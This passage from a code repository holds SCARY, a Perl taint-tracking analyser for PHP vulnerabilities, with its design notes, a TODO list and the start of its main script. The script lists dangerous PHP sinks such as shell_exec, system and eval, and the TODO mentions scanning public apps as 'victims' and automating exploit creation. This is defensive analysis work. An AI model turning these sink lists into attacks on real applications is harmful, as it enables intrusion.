INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /doc/TAINT_CHECKER_STRUCTURES: -------------------------------------------------------------------------------- 1 | ## THESE NOTES CONTAIN THE FINAL TAINT CHECKING MECHANISM STRUCTURES USED IN SCARY 2 | ## $final_call_vulnerable{xss}{f1::$a}=($vline1,$vline2,...) ## by default $vline is the curr_local_virtual_line_number, if the final_call_vuln takes place in the same namespace, in this example 1,3 3 | ## $secured{'xss'}{f1::$a}=($vline1,$vline2,...) # in this example it's 2,4 4 | ## where $vline* is curr_local_virtual_line_number for its original namespace (f1 in this case) 5 | # Now, what happens when f1($_GET['a']) is called (how final_call_vulnerable shall be merged): 6 | # $final_call_vulnerable{xss}{$_GET['a']}= 7 | #( 8 | # mapped_from_vline,mapped_to_addr,mapped_to_vline,... 9 | #) 10 | # in this case: 11 | # $final_call_vulnerable{xss}{$_GET['a']}= 12 | # ( 13 | # (mapped_from_vline=>9,mapped_to_varaddr=>f1::$a, mapped_to_vline=>2) 14 | # (mapped_from_vline=>9,mapped_to_varaddr=>f1::$a, mapped_to_vline=>4) 15 | # (mapped_from_vline=>11,mapped_to_varaddr=>f1::$a, mapped_to_vline=>2) 16 | # (mapped_from_vline=>11,mapped_to_varaddr=>f1::$a,mapped_to_vline=>4) 17 | # ) 18 | # 19 | # $secured{xss}{$_GET['a']}= 20 | # ( 21 | # 9,f1::$a,3 22 | # 9,f1::$a,5 23 | # 11 24 | # 12,f1::$a,3 25 | # 12,f1::$a,5 26 | # ) 27 | ## Now, what happens if we have additional dimension of a f2's flow: 28 | 29 | ## $secured{'sql'}{f2::$b}=(2) 30 | ## after merge: 31 | ## $secured{'sql'}{f1::$a}=6,f2::$b,2 32 | ## after merge with tainted $_GET['a'] we'll have additional record: 33 | ## $secured{'sql'}{$_GET['a']}=14,f1::$a,6 34 | ## Ok, it looks good. 35 | ## We also have to verify that final_call_vulnerable merging algorithm is compatible with this solution. Ok, it appears to. 36 | # Additional record to secured is an eraser (erase the current history without unsetting it) - ok, eraser can be just appended to the last vline after - sign. 37 | # Referenced version differs only in the fact, that secured{} record affects original value also in the original namespace's vline 38 | # API: 39 | # set_final_call_vulnerable($bug_type,$var_addr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline,$code,$code_trace,$external_is_tainted) 40 | # secure_var($bug_group,$durability,$mapped_from_varaddr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline) 41 | 42 | # Bug calculation algorithm: we take one of the variables from final_call_vulnerable and search for any earlier secured, if it's not there, we got it, then move on to the next one. -------------------------------------------------------------------------------- /doc/TODO: -------------------------------------------------------------------------------- 1 | [ PHP APPS REPOS TO SCAN ] 2 | Repos: 3 | http://www.phpkode.com/ 4 | http://code.google.com/p/ 5 | http://sourceforge.net/directory/language:php/freshness:recently-updated/ 6 | http://www.download32.com 7 | 8 | [ SCARY ] 9 | 10 | BUG FIXES 11 | - script hangs on roundcube and some eifensth (memory usage goes up) and on this too /home/scary/victims//precurio-2012-10-03/precurio/library/Bvb/Grid/Source/Interface.php - investigated it, this is a result of object code messing the parser (interface definitions make namespaces fucked) - looks like it's fixed now ;] 12 | 13 | - FALSE_POSITIVES (the whole list is in that file) 14 | - A whole bunch of SQL falses ;/ 15 | - fix &&,|| bug Unmatched ) in regex; marked by <-- HERE in m/\$cs_main\['ajax'\]), Unmatched ( in regex; marked by <-- HERE in m/\$db_row\['status'\] && ( <-- HERE \$db_row\['status'\]\b/ at scary.pl line 328, <$FILE> line 82, Unmatched ( in regex; marked by <-- HERE in m/( <-- HERE \$core_config\['user'\]\['status'\] &&(\$core_config\['user'\]\['status'\])/ at scary.pl line 1019, <$FILE> line 233. , precurio/UPGRADE.txt Unmatched ( in regex; marked by <-- HERE in m/\$dep\['refColumns'\]\[array_search 16 | - [WARNING] set_final_cal_vuln{exec} called against empty variable on: require_once $path; // prefixed by PIWIK_INCLUDE_PATH 17 | - still much ram is consumed (vtigerorm/graph.php in salesplatform for instance) 18 | 19 | - set final call vulns seems to miss the variable when called with no brackets 20 | - fix this: "we have to remove those when function block ends, this will affect other functions, some false positives will rise from this" 21 | - problem - virtual lines are incremented after meeting semicolons, which is not equal to meeting instructions (assignments), sometimes it can confuse the parser, like htmlspecialchars(echo($_GET['a'])); - assuming that echo also returns its argument, this would be false negative when it's not 22 | 23 | IMPROVEMENTS 24 | - preg_replace with 'e' flag eval (imperfection with parameters parsing detected again, cannot proceed with preg_replace eval until this is done) 25 | - implement conditional sanitizing (conditional_sanitizing.php) 26 | - anonymous functions, variable functions, variable variables 27 | - list call support 28 | - parse_expression function needs more knowledge about what it's expecting (determined), it has to call braces properly to handle code well 29 | - check this one: $GLOBALS['admin_ajax_request'] = true; (add $GLOBALS support) 30 | - extend list of vulnerable functions 31 | - extend auto tests with positive results found till this moment? 32 | - ifs support: when there's no alternative to our value, like this: if($_GET['sth']) $_GET['sth']=2; else $_GET['sth']=3; # detect such cases just as secure calls in ifs (they are less sure than those outside conditionals),. (to narrow down the number of false positives; if value is initialized and there are no conditional statements in the track - it can't be vulnerable 33 | - cast operator 34 | - sequence of function definitions also unfold its impact (functions13.php), however the mechanism works great ;] (those merges, so as the bug calculations, could be performed at the end of the scary execution (now the problem is in the knowledge about functions which hasn't been read currently)) 35 | - clean up the sensitivity stuff (ifs found, untainting, register globals) 36 | - multiline function calls 37 | - implement solution for non-direct taint checking 38 | 1. save all SQL tables and filepaths where user controlled data is put in some metadata format in the projects directory with taint checking information 39 | 2. save all variables which are pulled out from all databases and filepaths in some metadata format in the procects directory with taint checking information 40 | 3. after SCA-rying the last file iterate over those and check for correlated metadata, include results into report :> 41 | - add filter functions group support 42 | - foreach support 43 | - add exceptions to tainted globals, like $_SERVER['DOCUMENT_ROOT'] ? 44 | - mark session poisoning required in the output 45 | - check cut_vars again 46 | - check cutoff_index 47 | - file uploads support 48 | - object code 49 | - implement unserialize http://www.exploit-db.com/exploits/22547/ 50 | - improve SQL injections classifying 51 | - clean the code 52 | - automate process of flaws testing, reports and sploits creation 53 | - think about detection of logical errors and other sophisticated issues (CSRF, session poisoning (heavy stuff)), look in more detail to citrix project cond gave me with poor regexps 54 | - implement control injection? 55 | - finish the collector (problems with sourceforge, make sure cookies support and gzip are working fine, if nothing helps, think about chickenfoot/autoit/sikuli alternative, however it looks like it will work with google code!) 56 | - new, dedicated machine for scary multitasking scheduler -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ## SCARY's scheduler projects installer 3 | 4 | URL=$1 5 | if [ "$1" == "" ]; then 6 | echo "Usage: $0 URL_to_pack" 7 | fi; 8 | 9 | PACK_NAME=`echo $URL|awk -F FS="/" '{print $8}'` 10 | echo "PACK NAME: $PACK_NAME" 11 | 12 | -------------------------------------------------------------------------------- /low_hanging_search.sh: -------------------------------------------------------------------------------- 1 | # grep the output for lowest-hanging fruits (pure high confidence stuff, no tentative, no terminator-required, no second-order) 2 | GREPLOG=$1 3 | grep '\[EXEC\]\|\[XSS\]\|\[SQL\]\|\[EVAL\]\|\[FOPEN\]\|\[SHELL\]|\[UPLOAD\]' $GREPLOG 4 | -------------------------------------------------------------------------------- /scary.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # SCARY - Source Code Analyzer Replaces You 3 | # coded by ewilded 4 | # Licensed under the GPL v 3 license. 5 | # For features and capabilities, see README for details. 6 | 7 | package scary; 8 | use strict; 9 | use IO::Handle; 10 | use Switch; 11 | use Data::Dumper; 12 | use Term::ANSIColor; 13 | 14 | my $version='current'; 15 | ## CONFIG 16 | my $max_nested_expressions=50; 17 | my $max_nested_includes=10; 18 | ## output configuration 19 | my %debug_config; 20 | $debug_config{'INCLUDE'}=1; 21 | $debug_config{'REGISTER'}=1; 22 | $debug_config{'CALL'}=1; 23 | $debug_config{'DEBUG'}=1; 24 | $debug_config{'FUNCTION_DEFINITION'}=1; 25 | $debug_config{'EXPRESSION'}=1; 26 | $debug_config{'LIST_VARIABLES'}=1; 27 | $debug_config{'MERGE'}=1; 28 | $debug_config{'ERROR'}=1; 29 | $debug_config{'WARNING'}=1; 30 | $debug_config{'RESOLVE'}=1; 31 | $debug_config{'MATCH'}=1; 32 | $debug_config{'SUMMARY'}=1; 33 | # vulnerable functions grouped by the kind of security issue (i'll extend this list later with the help of php.net :D) 34 | my @exec_vulnerable_functions=('include', 'include_once','require_once','require'); 35 | my @sql_vulnerable_functions=('mysql_query','mysqli_query','mysql_unbuffered_query','oci_execute','cubrid_execute','sqlsrv_prepare','pg_prepare'); 36 | my @xss_vulnerable_functions=(@sql_vulnerable_functions, ('echo','print','printf','print_r','var_dump','fwrite','fputs','file_put_contents','flush','ob_flush','fputcsv')); 37 | my @upload_vulnerable_functions=('file_put_contents', 'move_uploaded_file'); 38 | my @fopen_vulnerable_functions=('file_get_contents','fopen','file','readfile','copy','readlink','rename','link','symlink'); ## stuff like readlink() is useless for direct info disclosure, but should work well with Windows and UNC paths, we should create a separate category for these, as there's plenty more read functions taking file paths as args, while stuff like 'link' and 'rename' have potential for code execs (renaming uploaded files into .php), DoS and removing sec controls like .htaccess files 39 | my @shell_vulnerable_functions=('exec', 'shell_exec', 'system', 'popen', 'passthru', 'proc_open', 'pcntl_proc_open','pcntl_exec','expect_popen','ssh2_exec'); 40 | my @eval_vulnerable_functions=('eval','create_function','register_shutdown_function','register_thick_function','forward_static_call','forward_static_call_array','call_user_func', 'call_user_func_array','ini_set','unserialize'); # create_function DEPRECATED as of PHP 7.2.0 | arbitrary ini_set can be abused in a number of ways, e.g. by setting the auto_append_file | unserialize added temporarily, will create a separate category for it | interestingly, 'eval' cannot be registered with register_shutdown_function, but shell_exec can - thus adding register_shutdown_function here, also samae goes for call_user_func and call_user_func_array :D - what about set_error_handler and set_exception_handler? what about UI Execution scheduler? 41 | my @ssti_vulnerable_functions=('render','assign','display'); # render() for TWIG, assign() and display() for Smarty 42 | ## List of sanitizing and checking functions, which use on user supplied input decreases probability of found security issue 43 | my @filtering_functions=('preg_replace','ereg_replace','eregi_replace','str_replace','strtr', 'str_ireplace','substr_replace'); 44 | ## Universal sanitation functions 45 | my @checking_functions=('preg_match','strstr','strpos','ereg', 'eregi'); 46 | my @array_functions=('array_key_exists','in_array','array_search','switch','filter_var','md5','basename','ctype_ alnum','ctype_ alpha','ctype_ cntrl',' 47 | ctype_digit','ctype_xdigit','intval','md5','mktime'); ## functions that give limited results 48 | my @escape_shell_functions=('escapeshellarg','escapeshellcmd'); 49 | my @sql_num_checking_functions=('is_numeric','is_int','intval'); 50 | #13:37 <&condy> albo rzutowanie (int) 51 | my @xss_filtering_functions=('htmlspecialchars', 'htmlentities'); 52 | my @sql_filtering_functions=('addslashes', 'mysql_escape_string', 'mysql_real_escape_string'); 53 | my @sql_num_filtering_functions=('int','settype','intval','(int)','(float)'); # commented out 'prepare', moving it to vuln functions - as this solely depends on in WHAT argument the user-supplied value lands, so we now favor false positives 54 | 55 | my @final_call_vulnerable_keys=('xss','sql','exec','shell','fopen','eval','upload','ssti'); 56 | ## filtered_groups array is used for merging between namespaces 57 | my @filtered_groups=('xss','sql','exec','shell','sql_filtered','sql_num_checked','sql_num_filtered','array_checked','universal_checked','universal_filtered'); 58 | 59 | my @php_predefined_constants=('PHP_VERSION','PHP_MAJOR_VERSION', 'PHP_MINOR_VERSION', 'PHP_RELEASE_VERSION', 'PHP_VERSION_ID', 60 | 'PHP_EXTRA_VERSION', 'PHP_ZTS', 'PHP_DEBUG', 'PHP_MAXPATHLEN', 'PHP_OS', 'PHP_SAPI', 'PHP_EOL', 'PHP_INT_MAX', 'PHP_INT_SIZE', 'DEFAULT_INCLUDE_PATH', 'PEAR_INSTALL_DIR', 'PEAR_EXTENSION_DIR', 'PHP_EXTENSION_DIR', 'PHP_PREFIX', 'PHP_BINDIR', 'PHP_BINARY', 'PHP_MANDIR', 'PHP_LIBDIR', 'PHP_DATADIR', 'PHP_SYSCONFDIR', 'PHP_LOCALSTATEDIR', 'PHP_CONFIG_FILE_PATH', 'PHP_CONFIG_FILE_SCAN_DIR', 'PHP_SHLIB_SUFFIX','E_ERROR', 'E_WARNING', 'E_PARSE', 'E_NOTICE', 'E_CORE_ERROR', 'E_CORE_WARNING', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING', 'E_USER_ERROR', 'E_USER_WARNING', 'E_USER_NOTICE', 'E_DEPRECATED', 'E_USER_DEPRECATED', 'E_ALL', 'E_STRICT', '__COMPILER_HALT_OFFSET__', 'TRUE', 61 | 'FALSE', 'NULL','true','false','null','__CLASS__', '__DIR__', '__FILE__', '__FUNCTION__', '__LINE__', '__METHOD__', '__NAMESPACE__', '__TRAIT__'); 62 | my @php_builtins=('__halt_compiler', 'abstract', 'and', 'array', 'as', 'break', 'callable', 'case', 'catch', 'class', 'clone', 'const', 'continue', 'declare', 'default', 'die', 'do', 'echo', 'else', 'elseif', 'empty', 'enddeclare', 'endfor', 'endforeach', 'endif', 'endswitch', 'endwhile', 'eval', 'exit', 'extends', 'final', 'for', 'foreach', 'function', 'global', 'goto', 'if', 'implements', 'include', 'include_once', 'instanceof', 'insteadof', 'interface', 'isset', 'list', 'namespace', 'new', 'or', 'print', 'private', 'protected', 'public', 'require', 'require_once', 'return', 'static', 'switch', 'throw', 'trait', 'try', 'unset', 'use', 'var', 'while', 'xor'); 63 | my @php_function_like_language_constructs=('return','require','require_once','print','include_once','include','echo','die','exit','eval','global'); ## this list is used to replace parenthesis-less calls to ones with parenthesis to simplify the parsing process (these are functions (or rather 'procedures') from our point of view) 64 | ## among all those language constructs, there are few that work as functions but are not functions 65 | ## Bellow hash contains relations between final_call_vulnerable keys (vulnerable calls) and corresponing groups of functions that can secure them along with the certainty rate (with higher value meaning most secure)) 66 | my %final_secure_keys_relation=(); 67 | $final_secure_keys_relation{'xss'}={'xss'=>4}; 68 | $final_secure_keys_relation{'sql'}={'sql_num_filtered'=>4,'sql_filtered'=>4,'sql_num_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1,'array_checked'=>4}; 69 | $final_secure_keys_relation{'exec'}={'array_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1}; 70 | $final_secure_keys_relation{'shell'}={'shell'=>1,'array_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1}; 71 | $final_secure_keys_relation{'fopen'}={'array_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1}; 72 | $final_secure_keys_relation{'eval'}={'array_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1}; 73 | $final_secure_keys_relation{'upload'}={'array_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1}; 74 | $final_secure_keys_relation{'ssti'}={'array_checked'=>4,'universal_checked'=>1,'universal_filtered'=>1}; 75 | # [DATA TRACKING VARIABLES] 76 | # namespace 77 | my @tracked_superglobals=('\$_GET', '\$_POST', '\$_COOKIE', '\$_SERVER', '\$_REQUEST', '\$_FILES', '\$HTTP_COOKIE_VARS', '\$HTTP_SERVER_VARS', '\$HTTP_RAW_POST_DATA', '\$HTTP_ENV_VARS', '\$_SESSION', '\$HTTP_SESSION_VARS', '\$HTTP_POST_FILES', '\$HTTP_POST_VARS', '\$HTTP_GET_VARS'); # \$_SESSION, some SERVER VARS for http headers, on which user can influent 78 | ### 'USER_AGENT', 'REQUEST_URI', 'QUERY_STRING''HTTP_ACCEPT' 'HTTP_ACCEPT_CHARSET' 'HTTP_ACCEPT_ENCODING' 'HTTP_ACCEPT_LANGUAGE' 79 | my @durabilities=('volatile','permanent'); 80 | 81 | # add old HTTP_ superglobals 82 | ## we explicitly set list of vulnerable $_SERVER variables to avoid false positives from some of them 83 | my @tracked_variables; ## global superglobals deriviations (variables pregs are kept here) 84 | my @tracked_local_variables; # temporary list of local variables tracked in current function code block, POINTS to the ALL local variable pregs present in CURRENT function block, the original array is held in $registered_functions{'fname'} hash. 85 | ### for example: 86 | ## function f1($a) { } $b=f1(4); 87 | ## registered_variables{'f1::$a1'}= 88 | my %registered_variables; ## shared namespace for registered variable names (NOT PREGS) (globals and locals, locals are prefixed with class::method_ names) 89 | my %registered_variables_trace; 90 | my %registered_functions; ## hash of registered functions/classes (now only functions), key is function_name[::class_name[::function_name[...]]], it contains their arguments specification and type(class/function), nothing else (namespace is held in the $registered_variables hash, with prefixed (resolved :D) function names) 91 | my %registered_constants; ## self-explainatory 92 | # trace stacks (call, define) 93 | my @call_trace; # call stack of recurrent call on each expression matching to function call, helps in right function calls interpretation 94 | my @function_define_trace; ## array of nested defined function AND class names, cause from the namespace point of view function and class are the same thing 95 | my $open_brackets_counter=0; 96 | my $nested_expressions=0; 97 | my $multi_line_comment=0; 98 | ## modes of line tracking 99 | my $curr_line_tracked=0; ## 0 for no tracking, 1 for tainted value, 2 for local function variable, 3 for both (this should be the tracking status of the first met variable in current line) 100 | use constant NOT_TRACKED=>0; 101 | use constant TAINTED_VAL=>1; 102 | use constant LOCAL_VAL=>2; 103 | use constant SUPERGLOBAL=>3; 104 | my $nested_includes=0; 105 | my $max_string_length=60000; 106 | my $sensitivity='positive'; ## change to 'negative' if you wan't to avoid some false positives, also risking some false negatives 107 | my $expression_line; 108 | my $pre_operator; ## whether or not left side of expression is appended 109 | my $file; # 110 | my $line; ## parser-adjusted line content 111 | my $line_copy; ## original line content 112 | my $line_number; ## line number per file 113 | my $is_tainted=0; ## curr call param value type tracker (1 for TAINTED, 2 for register_globals conditional on) 114 | my $global_line_number=0; ## overall, logical line number when using multiple files 115 | my $curr_local_line_number; 116 | my $curr_local_virtual_line_number; ## 117 | my @local_line_number; # line_number in current namespace 118 | my @local_virtual_line_number; ## virtual line number for lines genereted by de-obfuscating mechanism and functions calling system to keep track on events (calls) sequence 119 | my @called_functions; ## just a list of called function names, not used in data tracking 120 | my @tracked_files; ## also not used in tracking, just to easily display list in the report 121 | my $work_dir; ## current working directory 122 | my $project_dir; ## this is the main project dir (like /home/acid/src/Perl/SCARY/victims/astguiclient-2.0.5/, this is apps' DocumentRoot 123 | my $f; ## currently analysed file 124 | my $project_name; ## (this is the last dir from project dir), therefore astguiclient-2.0.5 125 | my $bugs=''; 126 | my $warnings=''; 127 | my $last_trace_append=''; 128 | my $sca_mode='sca'; ### auto_sca for whole project directories, sca for single files 129 | my $prev_called_function=''; 130 | my @parser_active=(0); ## this is set to 0 or to 1, depending on the metting 131 | 132 | # with no is_int, is_uploaded_file (why?) 133 | my %secured; # this hash holds separately sanitizing history records for all variables (or not ;D) 134 | my %final_call_vulnerable; ## and this one is its opposite 135 | ## add (\w+::|\$\w+->) prefix to support object code 136 | #my $function_call_preg='\s*([A-Za-z]+\w*)\s*(\(([^;]*)\))'; # latest (03.10.2012) 137 | my $function_call_preg='\s*([A-Za-z]+\w*)\s*(\(([^;]*)\)?)'; # next one (parenthesis at the end is optional, so semicolons in params can be tolerated 138 | my $function_def_preg='function\s+(\w+)\s*\(\s*(.*?)\s*\)\s*'; 139 | my $function_dec_preg="$function_def_preg;"; 140 | my $variable_preg='((\$\w+)(\[.*?\](\[.*?\])?)?)\s*'; 141 | my $assignment_preg='^'.$variable_preg.'([\.\+\*-\/]?)\s*=([^;]*)'; 142 | sub logme 143 | { 144 | my $outline = shift; 145 | if($outline=~/^\[((XSS)|(SQL)|(RFI)|(LFI)|(EXEC)|(EVAL)|(SHELL)|(FOPEN)|(UPLOAD)|(SSTI))/) 146 | { 147 | if($outline=~/-TENTATIVE/) 148 | { 149 | print color 'bold green'; 150 | } 151 | else 152 | { 153 | print color 'bold red'; 154 | } 155 | $bugs.="$outline\n"; 156 | } 157 | if($outline=~/^\[WARNING\]/) 158 | { 159 | print color 'bold yellow'; 160 | $warnings.="$outline\n"; 161 | } 162 | print color 'bold green' if($outline=~/^\[CALL|REGISTER|INCLUDE\]/); 163 | #print color 'bold white' if($outline=~/^\[DEBUG|MATCH\]/); 164 | print "$outline\n"; 165 | print color 'reset'; 166 | } 167 | sub print_variables 168 | { 169 | my $label=shift; 170 | &logme($label); 171 | foreach my $key(keys %registered_variables) { 172 | &logme("$key=>".$registered_variables{$key}); 173 | } 174 | } 175 | sub print_constants 176 | { 177 | my $label=shift; 178 | &logme($label); 179 | while((my $key, my $val)=each(%registered_constants)) { 180 | &logme("$key=>$val"); 181 | } 182 | } 183 | sub count_instances 184 | { 185 | my $code=shift; 186 | my $str=shift; 187 | my $tmp_code=$code; 188 | my $indx=0; 189 | #print "[DEBUG COUNTER SINGLE QUOTES] code:$code, str:$str\n\n\n\n"; 190 | while(index($tmp_code,$str)>0) { $tmp_code=~s/$str//; $indx++; } 191 | #print "[DEBUG COUNTER FINISHED $indx\n"; 192 | return $indx; 193 | } 194 | sub in_array 195 | { 196 | my $seed=shift; 197 | my @arr=split(/\s/,shift); 198 | foreach my $row(@arr) 199 | { 200 | return 1 if($row eq $seed); 201 | } 202 | return 0; 203 | } 204 | sub in_array_ci # case-insensitive variant 205 | { 206 | my $seed=shift; 207 | my @arr=split(/\s/,shift); 208 | foreach my $row(@arr) 209 | { 210 | return 1 if($row=~/^$seed$/i); 211 | } 212 | return 0; 213 | } 214 | sub remove_from_arr 215 | { 216 | my $var=shift; 217 | my @arr=split(/ /,shift); 218 | my @ret_arr=(); 219 | foreach my $curr_var(@arr) 220 | { 221 | next if($curr_var eq $var); 222 | push(@ret_arr,$curr_var); 223 | } 224 | return @ret_arr; 225 | } 226 | ## CODE TRACKING METHODS 227 | sub include_exists 228 | { 229 | my $search_for=shift; 230 | foreach my $fname(@tracked_files) { 231 | &logme("[INCLUDE MECHANISM] - checking whether $fname is included") if($debug_config{'INCLUDE'}); 232 | return 1 if($fname eq $search_for); 233 | } 234 | return 0; 235 | } 236 | ### patterns escaping (we need to generate PCRE patterns from variable names to track them) 237 | sub escape_varname_to_regex 238 | { 239 | my $varname=shift; 240 | $varname=~s/\$/\\\$/g; 241 | $varname=~s/\[/\\\[/g; 242 | $varname=~s/\]/\\\]/g; 243 | return $varname; 244 | } 245 | sub descape_varname_from_regex 246 | { 247 | my $varname=shift; 248 | $varname=~s/\\\$/\$/g; 249 | $varname=~s/\\\[/\[/g; 250 | $varname=~s/\\\]/\]/g; 251 | return $varname; 252 | } 253 | sub get_curr_func_name 254 | { 255 | #print "[GET CURR FUNC NAME]\n"; 256 | if(scalar(@function_define_trace) eq 0) 257 | { 258 | #print "NOTHING\n"; 259 | return ''; 260 | } 261 | #print "NAME:".$function_define_trace[scalar(@function_define_trace)-1]."\n"; 262 | return $function_define_trace[scalar(@function_define_trace)-1]; 263 | } 264 | sub varname_addr2preg 265 | { 266 | my $addr=shift; 267 | my @parts=split(/::/,$addr); 268 | return $addr if(scalar(@parts) eq 0); 269 | return &escape_varname_to_regex($parts[scalar(@parts)-1]); 270 | } 271 | sub resolve_full_variable_namespace_path 272 | { 273 | my $varname=shift; 274 | my $prefix=join('::',@function_define_trace); 275 | $prefix.='::' if(scalar(@function_define_trace)); 276 | foreach my $tracked_variable(@tracked_superglobals) 277 | { 278 | next if(!$tracked_variable); 279 | if($varname=~/^$tracked_variable/) 280 | { 281 | $prefix=''; 282 | last; 283 | } 284 | } 285 | $prefix='' if(&in_array($varname,"$registered_functions{$prefix}{'globals'}")); ## globals support (not tested) 286 | return $prefix.$varname; 287 | } 288 | # secure_var($bug_group,$durability,$mapped_from_varaddr,$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline) 289 | sub secure_var ## this is to set that value's been secured 290 | { 291 | my $bug_group=shift; 292 | my $durability=shift; ## volatile|permanent 293 | my $mapped_from_varaddr=shift; 294 | my $mapped_from_vline=shift; 295 | my $mapped_to_varaddr=shift; 296 | my $mapped_to_vline=shift; 297 | my $secure_string="$mapped_from_vline"; 298 | $secure_string="$mapped_from_vline,$mapped_to_varaddr,$mapped_to_vline" if($mapped_from_varaddr ne undef&&$mapped_to_vline ne undef); 299 | $secured{$bug_group}{$mapped_from_varaddr}{$durability}=() if($secured{$bug_group}{$mapped_from_varaddr}{$durability} eq undef); 300 | foreach my $s(@{$secured{$bug_group}{$mapped_from_varaddr}{$durability}}) 301 | { 302 | return if($s eq $secure_string); # avoid duplicates 303 | } 304 | push(@{$secured{$bug_group}{$mapped_from_varaddr}{$durability}},$secure_string); 305 | #&logme("SECURE secured{{$bug_group}{$mapped_from_varaddr}{$durability}}$secure_string"); ## 306 | } 307 | sub trace_variable 308 | { 309 | my $var=shift; 310 | my $resolved_var=&resolve_full_variable_namespace_path($var); 311 | $registered_variables_trace{$resolved_var}='' if($registered_variables_trace{$resolved_var} eq undef); 312 | $registered_variables_trace{$resolved_var}=$registered_variables_trace{$resolved_var}."$file:$line_number:$line_copy\n" if($last_trace_append ne "$file:$line_number:$line_copy\n"); 313 | $last_trace_append="$file:$line_number:$line_copy\n"; 314 | #print "[TRACE] $var:\n".$registered_variables_trace{$resolved_var}; 315 | } 316 | sub set_curr_line_tracked 317 | { 318 | #print "[DEBUG][SET_CURR_LINE_TRACKED CALLED], tracked_local_variables: @tracked_local_variables\n"; 319 | my $line=shift; 320 | my $var_pattern; 321 | ## higher prior for TAINTED_VAL (one $line can contain multiple variables and often it does, so tainted are preferred ones in identification) 322 | foreach $var_pattern(@tracked_superglobals) 323 | { 324 | last if(!$var_pattern); 325 | if($line=~/$var_pattern/) 326 | { 327 | &logme("[MATCHING][".&descape_varname_from_regex($var_pattern)."]$file:$line_number:$line") if($debug_config{'MATCH'}); 328 | return TAINTED_VAL; 329 | } 330 | } 331 | foreach $var_pattern(@tracked_variables) 332 | { 333 | last if(!$var_pattern); 334 | if($line=~/$var_pattern\b/) 335 | { 336 | &logme("[MATCHING][".&descape_varname_from_regex($var_pattern)."]$file:$line_number:$line") if($debug_config{'MATCH'}); 337 | return TAINTED_VAL; 338 | } 339 | } 340 | if($line=~/$variable_preg/) 341 | { 342 | # if the variable is global (currently we don't care if it's initialized or not, as we do with other tainted vals (no ifs support and 'positive' approach) 343 | return TAINTED_VAL if(scalar(@function_define_trace) eq 0); ### however some value check would be appreciated, we have to store information if the empty value was set by default or not 344 | return LOCAL_VAL; # otherwise it's local, we are within a function/method definition block 345 | } 346 | return NOT_TRACKED; 347 | 348 | #foreach $var_pattern(@tracked_local_variables) 349 | #{ 350 | # last if(!$var_pattern); 351 | # if($line=~/$var_pattern/) 352 | # { 353 | # &logme("[MATCHING][".&descape_varname_from_regex($var_pattern)."]$file:$line_number:$line") if($debug_config{'MATCH'}); 354 | # return LOCAL_VAL; 355 | # } 356 | #} 357 | #return LOCAL_VAL; 358 | } 359 | 360 | ## THIS METHOD REGISTERS NEW VARIABLE (SO IT SHOULD BE CALLED ONLY ONCE WHILE THE VALUE IS MET IN THE CODE) 361 | sub register_variable 362 | { 363 | #### ADD $curr_line_tracked modification (no modification, but rather use curr_variable_tracked instead of curr_line_tracked) 364 | my $varname=shift; 365 | my $val=shift; 366 | my $curr_var_tracked=&set_curr_line_tracked($varname); 367 | #print "[REGISTER DEBUG] $varname\n"; 368 | my $tracked='regular'; 369 | $tracked='local' if($curr_var_tracked==LOCAL_VAL); 370 | my $new=''; 371 | my $resolved_varname=$varname; 372 | 